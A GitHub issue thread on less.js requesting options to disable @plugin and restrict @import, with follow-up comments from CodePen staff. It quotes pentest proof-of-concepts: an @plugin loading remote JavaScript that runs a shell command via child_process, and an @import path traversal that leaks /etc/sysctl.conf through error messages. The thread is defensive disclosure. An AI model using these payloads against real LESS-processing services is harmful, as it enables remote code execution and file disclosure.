search

less / less.js

Less. The dynamic stylesheet language.
http://lesscss.org
Apache License 2.0
17.01k stars 3.41k forks source link

Prevent use of plugin and imports from untrusted sources #3561

Open edhgoose opened 3 years ago

edhgoose commented 3 years ago

We run a platform which allows users to add LESS to a page.

We've recently had a pentest which highlighted the ability to exploit the use of @plugin and @import to do malicious things. The below are examples from our pentesters as proof of concepts.

As an example, consider the following LESS:

@plugin "https://vulnerabledoma.in/pen/mention-me_rce_less.js";

where the rce_less.js contains:

throw new Error(require('child_process').execSync('cat /etc/hosts'));

2nd example:

@import '../../../../../../../../../etc/sysctl.conf';

This combined with some error handling in our code which outputted the syntax errors included:

Unrecognised input in ../../../../../../../../../etc/sysctl.conf on line1, column 1:1 # Kernel sysctl configuration file for Red Hat Linux

We've mitigated both of these attacks with reduced output in our error handling, and an attempt at a regular expression to identify @plugin and @import - but we'd love (and our pentesters would love!) an ability within the less compiler to:

a) Turn off @plugin (we don't use it) b) Only allow @import to load https domains, not file paths.

I imagine some people may want to be able to only load @plugin from local sources, or specific folders too. I'm sure there are many ideas here.

I've only seen this issue which is slightly similar, and no others: https://github.com/less/less.js/issues/1897.

Is this something that would be possible?

chriscoyier commented 3 years ago

A big ol +1 from me here, for the context of CodePen and offering Less as a language. We can run a fork of Less that patches/removes @plugin, but of course it would be better for us to use the canonical Less and disable it officially.

shshaw commented 2 years ago

Followup: At CodePen, we did ultimately fork Less and strip out the @plugin support entirely as this was too big of a risk for us to leave alone.

We'd much rather not have to maintain our own patched version and keep it up to date. A simple API option to disable @plugin usage would be greatly helpful.